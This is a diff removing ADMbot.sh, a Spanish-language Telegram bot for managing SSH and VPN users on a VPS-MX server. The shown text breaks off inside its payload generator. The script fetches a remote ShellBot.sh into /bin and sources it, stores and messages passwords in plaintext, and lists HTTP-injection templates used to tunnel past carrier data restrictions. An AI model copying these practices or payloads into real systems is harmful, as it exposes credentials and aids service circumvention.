- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- ;;
- 18)
- clear
- clear
- msg -bar
- sed -i -e 's/^[ \t]*//; s/[ \t]*$//; /^$/d' /etc/VPS-MX/controlador/Limiter2.log
- [[ -e "${SCPusr}/Limiter2.log" ]] && {
- msg -tit
- msg -ama "              REGISTRO DEL LIMITADOR "
- cat ${SCPusr}/Limiter2.log
- msg -bar
- }
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- ;;
- esac
- 

+ 0 - 1342
SCRIPT-v8.5x Mod/VPS-MX/herramientas/ADMbot.sh

@@ -1,1342 +0,0 @@
-#!/bin/bash
-#26/01/2021
-clear
-clear
-# DIRECCIONES DE CARPETAS Y ARCHIVOS
-
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma}
-mkdir -p /etc/BOT &>/dev/null
-mkdir -p /etc/BOT-C &>/dev/null
-mkdir -p /etc/BOT-A &>/dev/null
-mkdir -p /etc/BOT-GEN &>/dev/null
-mkdir -p /etc/BOT-C2 &>/dev/null
-mkdir -p /etc/BOT-TEMP &>/dev/null
-USRdatacredi="/etc/BOT-C2/creditos"
-
-##### SERVIDOR TELEGRAM PERSONAL
-[[ $(dpkg --get-selections | grep -w "jq" | head -1) ]] || apt-get install jq -y &>/dev/null
-[[ ! -e "/bin/ShellBot.sh" ]] && wget -O /bin/ShellBot.sh https://raw.githubusercontent.com/NetVPS/VPS-MX_Oficial/master/LINKS-LIBRERIAS/ShellBot.sh &>/dev/null
-[[ -e /etc/texto-bot ]] && rm /etc/texto-bot
-
-##### VERIFICANDO  PAQUETES PRIMARIOS
-
-[[ $(dpkg --get-selections | grep -w "jq" | head -1) ]] || apt-get install jq -y &>/dev/null
-[[ $(dpkg --get-selections | grep -w "vnstat" | head -1) ]] || apt-get install vnstat -y &>/dev/null
-[[ $(dpkg --get-selections | grep -w "vnstati" | head -1) ]] || apt-get install vnstati -y &>/dev/null
-[[ $(dpkg --get-selections | grep -w "nmap" | head -1) ]] || apt-get install nmap -y &>/dev/null
-
-## INGRESO DE TOKEN BOT
-clear
-msg -bar
-msg -tit
-msg -ama "      ## BOT DE GESTION | VPS-MX  ##  \033[1;31m"
-msg -bar
-if [[ $1 = "id" || -z $(ps aux | grep -v grep | grep -w "ADMbot.sh" | grep dmS | awk '{print $2}') ]]; then
-	[[ -z $2 ]] && echo -ne " \033[1;96m #Digite el Token del BOT \033[0;92m \nTOKEN:  \033[0;97m" && read TOKEN || TOKEN="$2"
-	[[ -z "$TOKEN" ]] && exit 1                                     #SEM TOKEN, SEM BOT
-	IDIOMA="$(cat ${SCPidioma})" && [[ -z $IDIOMA ]] && IDIOMA="es" #ARGUMENTO 2 (IDIOMA)
-	[[ -z $3 ]] && echo -ne " \033[1;96m #Digite un nombre para su Usuario \033[0;92m  \nUSUARIO:  \033[0;97m" && read USERLIB || USERLIB="$3"
-	[[ -z "$USERLIB" ]] && exit 1 #USUARIO
-	[[ -z $4 ]] && echo -ne " \033[1;96m #Digite una contraseña para su Usuario \033[0;92m  \nCONTRASEÑA:  \033[0;97m" && read PASSLIB || PASSLIB="$4"
-	[[ -z "$PASSLIB" ]] && exit 1 #SENHA
-	[[ -z $2 ]] && [[ -z $3 ]] && [[ -z $4 ]] && {
-		screen -dmS telebot ${SCPfrm}/ADMbot.sh id "$TOKEN" "$USERLIB" "$PASSLIB"
-		msg -bar
-		echo -e " \033[1;92m                BOT INICIADO CON EXCITO"
-		msg -bar
-		exit 0
-	}
-else
-	kill -9 $(ps aux | grep -v grep | grep -w "ADMbot.sh" | grep dmS | awk '{print $2}') && echo -e " \033[1;91m                BOT DETENIDO CON EXCITO"
-	msg -bar
-	exit 0
-fi
-LINE='━━━━━━━━━━━━━━━━━━━━'
-USRdatabase="/etc/VPS-MX/VPS-MXuser"
-#IMPORTANDO API
-source ShellBot.sh
-ShellBot.init --token "$TOKEN"
-ShellBot.username
-# SUPRIME ERROS
-exec 2>/dev/null
-# SISTEMA DE PIDS
-dropbear_pids() {
-	unset pids
-	port_dropbear=$(ps aux | grep dropbear | awk NR==1 | awk '{print $17;}')
-	log=/var/log/auth.log
-	loginsukses='Password auth succeeded'
-	[[ -z $port_dropbear ]] && return 1
-	for port in $(echo $port_dropbear); do
-		for pidx in $(ps ax | grep dropbear | grep "$port" | awk -F" " '{print $1}'); do
-			pids="${pids}$pidx \n"
-		done
-	done
-	for pid in $(echo -e "$pids"); do
-		pidlogs=$(grep $pid $log | grep "$loginsukses" | awk -F" " '{print $3}')
-		i=0
-		for pidend in $pidlogs; do
-			let i++
-		done
-		if [[ $pidend ]]; then
-			login=$(grep $pid $log | grep "$pidend" | grep "$loginsukses")
-			PID=$pid
-			user=$(echo $login | awk -F" " '{print $10}' | sed -r "s/'//g")
-			waktu=$(echo $login | awk -F" " '{print $2"-"$1,$3}')
-			[[ -z $user ]] && continue
-			echo "$user|$PID|$waktu"
-		fi
-	done
-}
-openvpn_pids() {
-	#nome|#loguin|#rcv|#snd|#time
-	byte() {
-		while read B dummy; do
-			[[ "$B" -lt 1024 ]] && echo "${B} bytes" && break
-			KB=$(((B + 512) / 1024))
-			[[ "$KB" -lt 1024 ]] && echo "${KB} Kb" && break
-			MB=$(((KB + 512) / 1024))
-			[[ "$MB" -lt 1024 ]] && echo "${MB} Mb" && break
-			GB=$(((MB + 512) / 1024))
-			[[ "$GB" -lt 1024 ]] && echo "${GB} Gb" && break
-			echo $(((GB + 512) / 1024)) terabytes
-		done
-	}
-	for user in $(mostrar_usuarios); do
-		[[ ! $(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log) ]] && continue
-		i=0
-		unset RECIVED
-		unset SEND
-		unset HOUR
-		while read line; do
-			IDLOCAL=$(echo ${line} | cut -d',' -f2)
-			RECIVED+="$(echo ${line} | cut -d',' -f3)+"
-			SEND+="$(echo ${line} | cut -d',' -f4)+"
-			DATESEC=$(date +%s --date="$(echo ${line} | cut -d',' -f5 | cut -d' ' -f1,2,3,4)")
-			TIMEON="$(($(date +%s) - ${DATESEC}))"
-			MIN=$(($TIMEON / 60)) && SEC=$(($TIMEON - $MIN * 60)) && HOR=$(($MIN / 60)) && MIN=$(($MIN - $HOR * 60))
-			HOUR+="${HOR}h:${MIN}m:${SEC}s \n"
-			let i++
-		done <<<"$(sed -n "/^${user},/p" /etc/openvpn/openvpn-status.log)"
-		RECIVED=$(echo $(echo ${RECIVED}0 | bc) | byte)
-		SEND=$(echo $(echo ${SEND}0 | bc) | byte)
-		HOUR=$(echo -e $HOUR | sort -n | tail -1)
-		echo -e "$user|$i|$RECIVED|$SEND|$HOUR"
-	done
-}
-# ADICIONA USUARIO
-add_user() {
-	#nome senha Dias limite
-	[[ $(cat /etc/passwd | grep $1: | grep -vi [a-z]$1 | grep -v [0-9]$1 >/dev/null) ]] && return 1
-	valid=$(date '+%C%y-%m-%d' -d " +$3 days") && datexp=$(date "+%F" -d " + $3 days")
-	useradd -M -s /bin/false $1 -e ${valid} >/dev/null 2>&1 || return 1
-	(
-		echo $2
-		echo $2
-	) | passwd $1 2>/dev/null || {
-		userdel --force $1
-		return 1
-	}
-	[[ -e ${USRdatabase} ]] && {
-		newbase=$(cat ${USRdatabase} | grep -w -v "$1")
-		echo "$1|$2|${datexp}|$4" >${USRdatabase}
-		for value in $(echo ${newbase}); do
-			echo $value >>${USRdatabase}
-		done
-	} || echo "$1|$2|${datexp}|$4" >${USRdatabase}
-}
-# REMOVER USUARIO
-rm_user() {
-	#nome
-	userdel --force "$1" &>/dev/null || return 1
-	[[ -e ${USRdatabase} ]] && {
-		newbase=$(cat ${USRdatabase} | grep -w -v "$1")
-		rm ${USRdatabase} && touch ${USRdatabase}
-		for value in $(echo ${newbase}); do
-			echo $value >>${USRdatabase}
-		done
-	}
-}
-# LISTA OS USUARIOS CADASTRADOS
-mostrar_usuarios() {
-	for u in $(awk -F : '$3 > 900 { print $1 }' /etc/passwd | grep -v "nobody" | grep -vi polkitd | grep -vi system-); do
-		echo "$u"
-	done
-}
-# DEFINE UM IP
-meu_ip() {
-	if [[ -e /etc/VPS-MX/MEUIPvps ]]; then
-		echo "$(cat /etc/VPS-MX/MEUIPvps)"
-	else
-		MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127 \.[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3}' | grep -o -E '[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3} \.[0-9]{1,3}' | head -1)
-		MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-		[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
-		echo "$MEU_IP" >/etc/VPS-MX/MEUIPvps
-	fi
-}
-# USUARIO BLOCK
-blockfun() {
-	local bot_retorno="$LINE \n"
-	bot_retorno+="--❌ USTED NO PUEDE USAR EL BOT ❌-- \n"
-	bot_retorno+="$LINE \n"
-	bot_retorno+="_--Si eres ADMIN introduse tus credenciales--_ \n"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-	return 0
-}
-# SISTEMA DE LOGUIN
-ativarid_fun() {
-	if [[ ! -z $LIBERADOS ]] && [[ $(echo ${LIBERADOS} | grep -w "$3") ]]; then
-		local bot_retorno+="$LINE \n"
-		bot_retorno+="- - 🔰 ACESSO DE ADMIN LIBERADO 🔰 - -  \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="✌️ Usted ya Puede usar el Bot \n"
-		bot_retorno+="👉 Dele Buen Uso \n"
-		bot_retorno+="⚙️ Comando Principal: * /menu * \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	elif [[ $1 = ${USERLIB} ]] && [[ $2 = ${PASSLIB} ]]; then
-		[[ -z $LIBERADOS ]] && LIBERADOS="${3}" || LIBERADOS="${LIBERADOS} ${3}"
-		local bot_retorno+="$LINE \n"
-		bot_retorno+="- - 🔰 ACESSO DE ADMIN LIBERADO 🔰 - -  \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="✌️ Usted ya Puede usar el Bot \n"
-		bot_retorno+="👉 Dele Buen Uso \n"
-		bot_retorno+="⚙️ Comando Principal: * /menu * \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	else
-		local bot_retorno+="$LINE \n"
-		bot_retorno+="--❌ ERROR DE CREDENCIALES ADMIN ❌-- \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="_Acesso de ADMIN Negado_ \n"
-		bot_retorno+="_Usuario/Contraseña Erroneos_ \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	fi
-}
-loguin_fun() {
-	local bot_retorno+="$LINE \n"
-	bot_retorno+="USUARIOS CON ACCESO AL ADMIN \n"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-	for lines in $(echo $LIBERADOS); do
-		local bot_retorno+="$LINE \n"
-		bot_retorno2+="$Usuario ID: $lines \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno2)" \
-		--parse_mode markdown
-	done
-	return 0
-}
-# INFORMAÇÕES DA VPS
-infovps() {
-	mine_port() {
-		unset portas
-		portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" | grep -v "COMMAND" | grep "LISTEN")
-		i=0
-		while read port; do
-			var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}')
-			[[ "$(echo -e ${portas} | grep "$var1|$var2")" ]] || {
-				portas+="$var1|$var2 \n"
-				let i++
-			}
-		done <<<"$portas_var"
-		echo -e $portas
-	}
-	local bot_retorno="$LINE \n"
-	bot_retorno+="*Puertos y Protocolos Activos* \n"
-	bot_retorno+="$LINE \n"
-	bot_retorno+="*IP:* $(meu_ip) \n"
-	while read line; do
-		local serv=$(echo $line | cut -d'|' -f1)
-		local port=$(echo $line | cut -d'|' -f2)
-		bot_retorno+="*Servicio:* ${serv} *Puerto:* ${port} \n"
-	done <<<"$(mine_port)"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-	return 0
-}
-# AJUDA
-ajuda_fun() {
-
-	#MONITOR UDP
-	on=" [ ACTIVADO ] " && off=" [ DESACTIVADO ] "
-	[[ $(ps x | grep badvpn | grep -v grep | awk '{print $1}') ]] && badvpn=$on || badvpn=$off
-
-	#CUENTAS REGISTRADAS SSH
-	SSHN="$(grep -c home /etc/passwd)"
-	SSH2="$(echo ${SSHN} | bc)-2"
-	echo "${SSH2}" | bc >/etc/BOT-A/SSH20.log
-	SSH3="$(less /etc/BOT-A/SSH20.log)"
-	SSH4="$(echo $SSH3)"
-	#ONLINES
-	ONLINES="$(less /etc/VPS-MX/USRonlines)"
-	##DEMOS REGISTRADOS
-	demo=$(cd /etc/BOT-TEMP && ls | wc -l)
-	cd
-	##DEMOS RESTANTES
-	demo2="10-$(echo ${demo} | bc)+0"
-	echo "${demo2}" | bc >/etc/BOT-A/SSH-DEMO.log
-	demo3="$(less /etc/BOT-A/SSH-DEMO.log)"
-	demor="$(echo $demo3)"
-
-	local bot_retorno="*$LINE* \n"
-	bot_retorno+="*🔰 MANAGER VPS-MX 2.0 🔰* \n"
-	bot_retorno+="$LINE \n"
-	bot_retorno+="_▪️ SSH REGISTRADAS:_ ( *$SSH4* ) \n"
-	bot_retorno+="_▪️ CONECTADOS:_ ( *$ONLINES* ) \n"
-	bot_retorno+="_▪️ BADVPN:_ 🎮 *$badvpn*  \n"
-	bot_retorno+="$LINE \n"
-	bot_retorno+=" _COMANDOS DISPONIBLES _ \n"
-	bot_retorno+="---------------------------------- \n"
-	bot_retorno+="/agregar -->> Agregar Usuario \n"
-	[[ $(dpkg --get-selections | grep -w "openvpn" | head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && bot_retorno+="/openadd ($(fun_trans "crear archivo openvpn")) \n"
-	bot_retorno+="/eliminar -->> Remover Usuario \n"
-	bot_retorno+="/renovar -->> Renovar Cuenta \n"
-	bot_retorno+="/usuarios -->> Info de Usuarios \n"
-	bot_retorno+="/verbloqueados -->> Usuarios Bloqueados \n"
-	bot_retorno+="/bloquear -->> Bloquear Usuario \n"
-	bot_retorno+="/desbloquear -->> Desbloquear Usuario \n"
-	bot_retorno+="/online -->> Usuarios Online \n"
-	bot_retorno+="/backup -->> Backup-User \n"
-	bot_retorno+="/restarbackup -->> Restaurar Backup \n"
-	bot_retorno+="/infovps -->> Info de Servidor \n"
-	bot_retorno+="$LINE \n"
-	bot_retorno+=" _ HERRAMIENTAS _ \n"
-	bot_retorno+="---------------------------------- \n"
-	bot_retorno+="/lang -->> Traducir texto \n"
-	bot_retorno+="/scan -->> Scan de Subdominios \n"
-	bot_retorno+="/gerar -->> Cod y Dec Texto \n"
-	bot_retorno+="/sshi -->> Info de cuenta SSH \n"
-	bot_retorno+="/admins -->> ADMIN's con Acceso \n"
-	bot_retorno+="$LINE \n"
-	bot_retorno+="/ADMIN -->> Liberar el BOT \n"
-	bot_retorno+="$LINE \n"
-	ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-	--text "$(echo -e $bot_retorno)" \
-	--parse_mode markdown
-	return 0
-}
-info_fun() {
-	if [[ ! -e "${USRdatabase}" ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno="No se ha identificado una base de datos con los usuarios \n"
-		bot_retorno="Los Usuarios a Seguir No contiene Ninguna Informacion \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-	else
-		VPSsec=$(date +%s)
-		local bot_retorno="$LINE \n"
-		bot_retorno+="* Cuentas SSH Registradas*  \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		for user in $(mostrar_usuarios); do
-			sen=$(cat ${USRdatabase} | grep -w "$user" | cut -d '|' -f2)
-			[[ -z $sen ]] && sen="???"
-			DateExp="$(cat ${USRdatabase} | grep -w "${user}" | cut -d'|' -f3)"
-			if [[ ! -z $DateExp ]]; then
-				DataSec=$(date +%s --date="$DateExp")
-				[[ "$VPSsec" -gt "$DataSec" ]] && EXPTIME="${red}[Exp]" || EXPTIME="${gren}[$(($(($DataSec - $VPSsec)) / 86400))]"
-			else
-				EXPTIME="???"
-			fi
-			limit=$(cat ${USRdatabase} | grep -w "$user" | cut -d '|' -f4)
-			[[ -z $limit ]] && limit="???"
-			bot_retorno="$LINE \n"
-			bot_retorno+="$(fun_trans "Usuario"): $user \n"
-			bot_retorno+="$(fun_trans "Contraseña"): $sen \n"
-			bot_retorno+="$(fun_trans "Dias Restantes"): $EXPTIME \n"
-			bot_retorno+="$(fun_trans "Limite"): $limit \n"
-			bot_retorno+="$LINE \n"
-			ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-			--text "$(echo -e $bot_retorno)" \
-			--parse_mode markdown
-		done
-	fi
-	return 0
-}
-online_fun() {
-	MyTIME="${SCPusr}/time-vps-mx"
-	[[ -e ${MyTIME} ]] && source ${MyTIME} || touch ${MyTIME}
-	local bot_retorno="$LINE \n"
-	bot_retorno+="$* Monitor de Usuarios*  \n"
-	bot_retorno+="$LINE \n"
-	while read user; do
-		PID="0+"
-		[[ $(dpkg --get-selections | grep -w "openssh" | head -1) ]] && PID+="$(ps -u $user | grep sshd | wc -l)+"
-		[[ $(dpkg --get-selections | grep -w "dropbear" | head -1) ]] && PID+="$(dropbear_pids | grep -w "${user}" | wc -l)+"
-		[[ $(dpkg --get-selections | grep -w "openvpn" | head -1) ]] && [[ -e /etc/openvpn/openvpn-status.log ]] && [[ $(openvpn_pids | grep -w "$user" | cut -d'|' -f2) ]] && PID+="$(openvpn_pids | grep -w "$user" | cut -d'|' -f2)+"
-		PID+="0"
-		[[ $(echo $PID | bc) = 0 ]] && continue
-		TIMEON="${TIMEUS[$user]}"
-		[[ -z $TIMEON ]] && TIMEON=0
-		MIN=$(($TIMEON / 60))
-		SEC=$(($TIMEON - $MIN * 60))
-		HOR=$(($MIN / 60))
-		MIN=$(($MIN - $HOR * 60))
-		HOUR="${HOR}h:${MIN}m:${SEC}s"
-		[[ -z $(cat ${USRdatabase} | grep -w "${user}") ]] && MAXPID="?" || MAXPID="$(cat ${USRdatabase} | grep -w "${user}" | cut -d'|' -f4)"
-		TOTALPID="$(echo $PID | bc)/$MAXPID"
-		local IMPRIME="YES"
-		local bot_retorno+="$LINE \n"
-		bot_retorno="$(fun_trans "Usuario"): $user \n"
-		bot_retorno+="$(fun_trans "Conexiones"): $TOTALPID \n"
-		bot_retorno+="$(fun_trans "Tiempo Total"): $HOUR \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-	done <<<"$(mostrar_usuarios)"
-	[[ -z $IMPRIME ]] && {
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "No hay usuarios en linea") \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	}
-}
-useradd_fun() {
-	error_fun() {
-		local bot_retorno="$LINE \n"
-		bot_retorno+=" -->>> MODO DE USO \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="agregar Usuario Contraseña Dias Limite \n"
-		bot_retorno+="Ejemplo: \n"
-		bot_retorno+='agregar admin admin 30 1 \n'
-		bot_retorno+="$LINE \n"
-		case $1 in
-		[1-3] | 14)
-			[[ $1 = 1 ]] && bot_retorno+="$(fun_trans "Usuario Nulo")" && bot_retorno+="$LINE \n"
-			[[ $1 = 2 ]] && bot_retorno+="$(fun_trans "Usuario Con Nombre Muy Corto")" && bot_retorno+="$LINE \n"
-			[[ $1 = 3 ]] && bot_retorno+="$(fun_trans "Usuario Con Nombre Muy Grande")" && bot_retorno+="$LINE \n"
-			[[ $1 = 14 ]] && bot_retorno+="$(fun_trans "Usuario ya Existe")" && bot_retorno+="$LINE \n"
-			;;
-		[4-6])
-			[[ $1 = 4 ]] && bot_retorno+="$(fun_trans "Contraseña Nula")" && bot_retorno+="$LINE \n"
-			[[ $1 = 5 ]] && bot_retorno+="$(fun_trans "Contraseña Muy Corta")" && bot_retorno+="$LINE \n"
-			[[ $1 = 6 ]] && bot_retorno+="$(fun_trans "Contraseña Muy Grande")" && bot_retorno+="$LINE \n"
-			;;
-		[7-9])
-			[[ $1 = 7 ]] && bot_retorno+="$(fun_trans "Duracion Nula")" && bot_retorno+="$LINE \n"
-			[[ $1 = 8 ]] && bot_retorno+="$(fun_trans "Duracion invalida utilize numeros")" && bot_retorno+="$LINE \n"
-			[[ $1 = 9 ]] && bot_retorno+="$(fun_trans "Duracion maxima de un año")" && bot_retorno+="$LINE \n"
-			;;
-		1[1-3])
-			[[ $1 = 11 ]] && bot_retorno+="$(fun_trans "Limite Nulo")" && bot_retorno+="$LINE \n"
-			[[ $1 = 12 ]] && bot_retorno+="$(fun_trans "Limite invalido utilize numeros")" && bot_retorno+="$LINE \n"
-			[[ $1 = 13 ]] && bot_retorno+="$(fun_trans "Limite maximo de 999")" && bot_retorno+="$LINE \n"
-			;;
-		esac
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-	}
-	usuarios_ativos=($(mostrar_usuarios))
-	[[ -z "$1" ]] && error_fun && return 0
-	[[ -z "$2" ]] && error_fun && return 0
-	[[ -z "$3" ]] && error_fun && return 0
-	[[ -z "$4" ]] && error_fun && return 0
-	if [[ -z $1 ]]; then
-		error_fun 1 && return 0
-	elif [[ "${#1}" -lt "4" ]]; then
-		error_fun 2 && return 0
-	elif [[ "${#1}" -gt "24" ]]; then
-		error_fun 3 && return 0
-	elif [[ "$(echo ${usuarios_ativos[@]} | grep -w "$1")" ]]; then
-		error_fun 14 && return 0
-	fi
-	if [[ -z $2 ]]; then
-		error_fun 4 && return 0
-	elif [[ "${#2}" -lt "6" ]]; then
-		error_fun 5 && return 0
-	elif [[ "${#2}" -gt "20" ]]; then
-		error_fun 6 && return 0
-	fi
-	if [[ -z "$3" ]]; then
-		error_fun 7 && return 0
-	elif [[ "$3" != +([0-9]) ]]; then
-		error_fun 8 && return 0
-	elif [[ "$3" -gt "360" ]]; then
-		error_fun 9 && return 0
-	fi
-	if [[ -z "$4" ]]; then
-		error_fun 11 && return 0
-	elif [[ "$4" != +([0-9]) ]]; then
-		error_fun 12 && return 0
-	elif [[ "$4" -gt "999" ]]; then
-		error_fun 13 && return 0
-	fi
-	add_user "$1" "$2" "$3" "$4"
-	if [[ "$?" = "1" ]]; then
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$(fun_trans "Usuario No Fue Creado") \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	else
-		local bot_retorno="$LINE \n"
-		bot_retorno+="CUENTA CREADA \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="Usuario: $1 \n"
-		bot_retorno+="Contraseña: $2 \n"
-		bot_retorno+="Duracion: $3 Dias \n"
-		bot_retorno+="Limite: $4 Logeo \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	fi
-}
-userdell_fun() {
-	error_fun() {
-		local bot_retorno="$LINE \n"
-		bot_retorno+=" -->>> MODO DE USO \n"
-		bot_retorno+="$LINE \n"
-		bot_retorno+="eliminar Usuario \n"
-		bot_retorno+="Ejemplo: \n"
-		bot_retorno+='eliminar admin \n'
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	}
-	[[ -z "$1" ]] && error_fun && return 0
-	rm_user "$1" && {
-		local bot_retorno="$LINE \n"
-		bot_retorno+="$Removido Con Exito \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	} || {
-		local bot_retorno="$LINE \n"
-		bot_retorno+="Usuario No Removido \n"
-		bot_retorno+="$LINE \n"
-		ShellBot.sendMessage --chat_id ${message_chat_id[$id]} \
-		--text "$(echo -e $bot_retorno)" \
-		--parse_mode markdown
-		return 0
-	}
-}
-paygen_fun() {
-	gerar_pays() {
-		echo 'GET http://mhost/ HTTP/1.1[crlf][raw][crlf] [crlf][crlf]
- CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
- CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
- CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]
- CONNECT [host_port]@mhost HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT [host_port]@mhost [protocol][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
- CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf][crlf]
- CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]User-Agent: [ua][crlf] [crlf]
- CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf][crlf]
- CONNECT mhost@[host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Referer: mhost[crlf] [crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][crlf]
- GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf]
- GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
- GET mhost@[host_port] [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf] [crlf]
- GET [host_port]@mhost [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]
